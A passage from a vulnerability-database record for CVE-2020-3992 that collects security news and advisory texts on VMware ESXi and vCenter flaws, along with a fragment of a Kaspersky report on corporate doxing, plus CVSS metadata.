message.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/03/26125040/Corporate_doxing_02.png>)\n\nThis enables attackers to obtain data such as the time the email was opened, the version of the recipient's mail client and the IP address. This data lets the attackers build a profile on a specific person who they can then impersonate in subsequent attacks.\n\nPhishing continues to be an effective way for attackers to gather corporate data. For example, they may send an employee a message that mimics a notification from a business platform such as SharePoint, which contains a link.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/03/26125148/Corporate_doxing_04.jpg>)\n\nIf the employee clicks the link, they are redirected to a spoofed website containing a fraudulent form for entering their corporate account credentials \u2013 data which is captured by the attackers.\n\nSometimes cybercriminals resort to phone phishing \u2013 either by calling an employee directly and trying to "phish" corporate information, or sending a message and asking them to call the number given in the message. One way to trick employees is to pose as IT support staff \u2013 this method was used in the [Twitter hack](<https://www.dfs.ny.gov/Twitter_Report>) in July 2020.\n\n> By obtaining employee credentials, they were able to target specific employees who had access to our account support tools. They then targeted 130 Twitter accounts - Tweeting from 45, accessing the DM inbox of 36, and downloading the Twitter Data of 7.\n> \n> -- Twitter Support (@TwitterSupport) [July 31, 2020](<https://twitter.com/TwitterSupport/status/1289000208701878272?ref_src=twsrc%5Etfw>)\n\nAttackers may not confine themselves to gathering publicly available data, but may also hack an employee's account. This could be used to gain a foothold in the company, from which they can extend their activities, or to circulate false information that could damage the company's reputation and result in financial loss. There has even been a case where cybercriminals have obtained audio and video content of the CEO of an international company and [used deepfake technology to imitate the CEO's voice](<https://www.kaspersky.com/blog/machine-learning-fake-voice/28870/>), using it to persuade the management team of one of the company's branches to transfer money to the scammers.\n\nYou can read our full report on doxing, including tips on how to protect yourself, [here](<https://securelist.com/corporate-doxing/101513/>).", "cvss3": {}, "published": "2021-05-31T10:00:37", "type": "securelist", "title": "IT threat evolution Q1 2021", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2019-5544", "CVE-2020-3992", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065"], "modified": "2021-05-31T10:00:37", "id": "SECURELIST:A823F31C04C74DD103337324E6D218C9", "href": "https://securelist.com/it-threat-evolution-q1-2021/102382/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "thn": [{"lastseen": "2022-05-09T12:39:05", "description": "[](<https://thehackernews.com/images/-M_1KgL6tAuQ/YDYE-aJuyBI/AAAAAAAAB38/asAWmk7ZJscXPGS_gHJudw0GOAZrcEX7wCLcBGAsYHQ/s0/vmware.jpg>)\n\nVMware has addressed multiple critical remote code execution (RCE) vulnerabilities in VMware ESXi and vSphere Client virtual infrastructure management platform that may allow attackers to execute arbitrary commands and take control of affected systems.\n\n\"A malicious actor with network access to port 443 may exploit this issue to execute commands with unrestricted privileges on the underlying operating system that hosts vCenter Server,\" the company [said](<https://www.vmware.com/security/advisories/VMSA-2021-0002.html>) in its advisory.\n\nThe vulnerability, tracked as CVE-2021-21972, has a CVSS score of 9.8 out of a maximum of 10, making it critical in severity.\n\n\"In our opinion, the RCE vulnerability in the vCenter Server can pose no less a threat than the infamous vulnerability in Citrix (CVE-2019-19781),\" said Positive Technologies' Mikhail Klyuchnikov, who discovered and reported the flaw to VMware.\n\n\"The error allows an unauthorized user to send a specially crafted request, which will later give them the opportunity to execute arbitrary commands on the server.\"\n\nWith this access in place, the attacker can then successfully move through the corporate network and gain access to the data stored in the vulnerable system, such as information about virtual machines and system users, [Klyuchnikov noted](<https://swarm.ptsecurity.com/unauth-rce-vmware/>).\n\nSeparately, a second vulnerability (CVE-2021-21973, CVSS score 5.3) allows unauthorized users to send POST requests, permitting an adversary to mount further attacks, including the ability to scan the company's internal network and retrieve specifics about the open ports of various services.\n\nThe information disclosure issue, according to VMware, stems from an SSRF (Server Side Request Forgery) vulnerability due to improper validation of URLs in the vCenter Server plugin.\n\n[](<https://thehackernews.com/images/-ptRHS90VS-M/YDaOLCFCy0I/AAAAAAAA3oU/eE4iu9IU3WI1xoEKlX6eypn5wcFlZWhwQCLcBGAsYHQ/s0/command.jpg>)\n\nVMware has also provided workarounds to remediate CVE-2021-21972 and CVE-2021-21973 temporarily until the updates can be deployed. Detailed steps can be found [here](<https://kb.vmware.com/s/article/82374>).\n\nIt's worth noting that VMware rectified a command injection vulnerability in its vSphere Replication product ([CVE-2021-21976](<https://www.vmware.com/security/advisories/VMSA-2021-0001.html>), CVSS score 7.2) earlier this month that could grant a bad actor with administrative privileges to execute shell commands and achieve RCE.\n\nLastly, VMware also resolved a heap-overflow bug (CVE-2021-21974, CVSS score 8.8) in ESXi's service location protocol (SLP), potentially allowing an attacker on the same network to send malicious SLP requests to an ESXi device and take control of it.\n\n[OpenSLP](<https://www.openslp.org/doc/html/IntroductionToSLP/index.html>) provides a framework to allow networking applications to discover the existence, location, and configuration of networked services in enterprise networks.\n\nThe latest fix for ESXi OpenSLP comes on the heels of a similar patch ([CVE-2020-3992](<https://www.vmware.com/security/advisories/VMSA-2020-0023.html>)) last November that could be leveraged to trigger a [use-after-free](<https://cwe.mitre.org/data/definitions/416.html>) in the OpenSLP service, leading to remote code execution.\n\nNot long after, reports of active exploitation attempts emerged in the wild, with ransomware gangs [abusing](<https://twitter.com/GossiTheDog/status/1324896051128635392>) the vulnerability to take over unpatched virtual machines deployed in enterprise environments and encrypt their virtual hard drives.\n\nIt's highly recommended that users install the updates to eliminate the risk associated with the flaws, in addition to \"removing vCenter Server interfaces from the perimeter of organizations, if they are there, and allocate them to a separate VLAN with a limited access list in the internal network.\"\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-02-24T07:54:00", "type": "thn", "title": "Critical RCE Flaws Affect VMware ESXi and vSphere Client \u2014 Patch Now", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-19781", "CVE-2020-3992", "CVE-2021-21972", "CVE-2021-21973", "CVE-2021-21974", "CVE-2021-21976"], "modified": "2021-02-24T17:35:31", "id": "THN:87AE96960D76D6C84D9CF86C2DDB837C", "href": "https://thehackernews.com/2021/02/critical-rce-flaw-affects-vmware.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "vmware": [{"lastseen": "2023-12-03T18:21:16", "description": "3a. ESXi OpenSLP remote code execution vulnerability (CVE-2020-3992) \n\nOpenSLP as used in ESXi has a use-after-free issue. VMware has evaluated the severity of this issue to be in the Critical severity range with a maximum CVSSv3 base score of 9.8. \n\n3b. NSX-T MITM vulnerability (CVE-2020-3993) \n\nVMware NSX-T contains a security vulnerability that exists in the way it allows a KVM host to download and install packages from NSX manager. VMware has evaluated the severity of this issue to be in the Important severity range with a maximum CVSSv3 base score of 7.5. \n\n3c. TOCTOU out-of-bounds read vulnerability (CVE-2020-3981) \n\nVMware ESXi, Workstation and Fusion contain an out-of-bounds read vulnerability due to a time-of-check time-of-use issue in ACPI device. VMware has evaluated the severity of this issue to be in the Important severity range with a maximum CVSSv3 base score of 7.1. \n\n3d. TOCTOU out-of-bounds write vulnerability (CVE-2020-3982) \n\nVMware ESXi, Workstation and Fusion contain an out-of-bounds write vulnerability due to a time-of-check time-of-use issue in ACPI device. VMware has evaluated the severity of this issue to be in the Moderate severity range with a maximum CVSSv3 base score of 5.9. \n\n3e. vCenter Server session hijack vulnerability in update function (CVE-2020-3994) \n\nVMware vCenter Server contains a session hijack vulnerability in the vCenter Server Appliance Management Interface update function due to a lack of certificate validation. VMware has evaluated the severity of this issue to be in the Important severity range with a maximum CVSSv3 base score of 7.5. \n\n3f. VMCI host driver memory leak vulnerability (CVE-2020-3995) \n\nThe VMCI host drivers used by VMware hypervisors contain a memory leak vulnerability. VMware has evaluated the severity of this issue to be in the Important severity range with a maximum CVSSv3 base score of 7.1.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-10-20T00:00:00", "type": "vmware", "title": "VMware ESXi, Workstation, Fusion and NSX-T updates address multiple security vulnerabilities (CVE-2020-3981, CVE-2020-3982, CVE-2020-3992, CVE-2020-3993, CVE-2020-3994, CVE-2020-3995)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-3981", "CVE-2020-3982", "CVE-2020-3992", "CVE-2020-3993", "CVE-2020-3994", "CVE-2020-3995"], "modified": "2020-11-24T00:00:00", "id": "VMSA-2020-0023.3", "href": "https://www.vmware.com/security/advisories/VMSA-2020-0023.3.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "threatpost": [{"lastseen": "2020-11-04T16:31:33", "description": "VMware issued an updated fix for a critical-severity remote code execution flaw in its ESXi hypervisor products.\n\nWednesday\u2019s VMware advisory said updated patch versions were available after it was discovered the previous patch, released Oct. 20, did not completely address the vulnerability. That\u2019s because certain versions that were affected were not previously covered in the earlier update.\n\n\u201cUpdated patch versions in the response matrix of section 3a after release of ESXi patches that completed the incomplete fix for CVE-2020-3992 on 2020-11-04,\u201d said Oracle\u2019s [updated advisory](<https://www.vmware.com/security/advisories/VMSA-2020-0023.html>).\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nThe flaw exists in the OpenSLP feature of VMware ESXi. ESXi is a hypervisor that uses software to abstract processor, memory, storage and networking resources into multiple virtual machines (VMs). Each virtual machine runs its own operating system and applications. OpenSLP meanwhile is an open standard technology that allows systems to discover services available for use on the network.\n\nThe implementation of OpenSLP in ESXi has a use-after-free (UAF) issue, according to VMware. UAF flaws are related to the incorrect utilization of dynamic memory during a program\u2019s operation; If a program does not clear the pointer to the memory after freeing a memory location, an attacker can leverage this flaw.\n\nIn the case of this specific flaw, \u201ca malicious actor residing in the management network who has access to port 427 on an ESXi machine may be able to trigger a use-after-free in the OpenSLP service resulting in remote code execution,\u201d the advisory said. Further details of the flaw are not yet available.\n\nThe flaw (CVE-2020-3992) has a CVSS score of 9.8 out of 10, making it critical.\n\nWhile before the advisory said the flaw affects ESXi versions 6.5, 6.7 and 7.0; affected products have now been updated to include ESXi implementations on the VMware Cloud Foundation 3.x and 4.x. VMware Cloud Foundation is the hybrid cloud platform for managing VMs and orchestrating containers, built on full-stack hyperconverged infrastructure (HCI) technology. ESXi software can be installed on Cloud Foundation servers.\n\nWhile ESXi users can update to fixed versions ESXi70U1a-17119627 (for version 7), ESXi670-202011301-SG (for version 6.7) and ESXi650-202011401-SG (for version 6.5), a patch is still \u201cpending\u201d for affected VMware Cloud Foundation versions.\n\nLucas Leong (@_wmliang_) with Trend Micro\u2019s Zero Day Initiative was credited with reporting the flaw. Threatpost reached out to Leong for further comment.\n\nVMware\u2019s [October update](<https://www.vmware.com/security/advisories/VMSA-2020-0023.html>) also issued patches for important flaws (CVE-2020-3993, CVE-2020-3994, CVE-2020-3995 and CVE-2020-3981) as well as a moderate-severity vulnerability (CVE-2020-3982).\n\nEarlier this year, a critical information-disclosure bug was disclosed in VMware\u2019s Directory Service (vmdir). If exploited [the flaw could have exposed](<https://threatpost.com/critical-vmware-bug-corporate-treasure-hackers/154682/>) the contents of entire corporate virtual infrastructures.\n\n**Hackers Put Bullseye on Healthcare: **[**On Nov. 18 at 2 p.m. EDT**](<https://threatpost.com/webinars/2020-healthcare-cybersecurity-priorities-data-security-ransomware-and-patching/?utm_source=ART&utm_medium=ART&utm_campaign=Nov_webinar>)** find out why hospitals are getting hammered by ransomware attacks in 2020. **[**Save your spot for this FREE webinar**](<https://threatpost.com/webinars/2020-healthcare-cybersecurity-priorities-data-security-ransomware-and-patching/?utm_source=ART&utm_medium=ART&utm_campaign=Nov_webinar>)** on healthcare cybersecurity priorities and hear from leading security voices on how data security, ransomware and patching need to be a priority for every sector, and why. Join us Wed., Nov. 18, 2-3 p.m. EDT for this **[**LIVE**](<https://threatpost.com/webinars/2020-healthcare-cybersecurity-priorities-data-security-ransomware-and-patching/?utm_source=ART&utm_medium=ART&utm_campaign=Nov_webinar>)**, limited-engagement webinar.**\n", "cvss3": {}, "published": "2020-11-04T16:17:20", "type": "threatpost", "title": "VMware Issues Updated Fix For Critical ESXi Flaw", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-14750", "CVE-2020-3981", "CVE-2020-3982", "CVE-2020-3992", "CVE-2020-3993", "CVE-2020-3994", "CVE-2020-3995"], "modified": "2020-11-04T16:17:20", "id": "THREATPOST:75BEC9FEBA73C709A2853E42005C3005", "href": "https://threatpost.com/vmware-updated-fix-critical-esxi-flaw/160944/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}]}
CVE-2020-3992
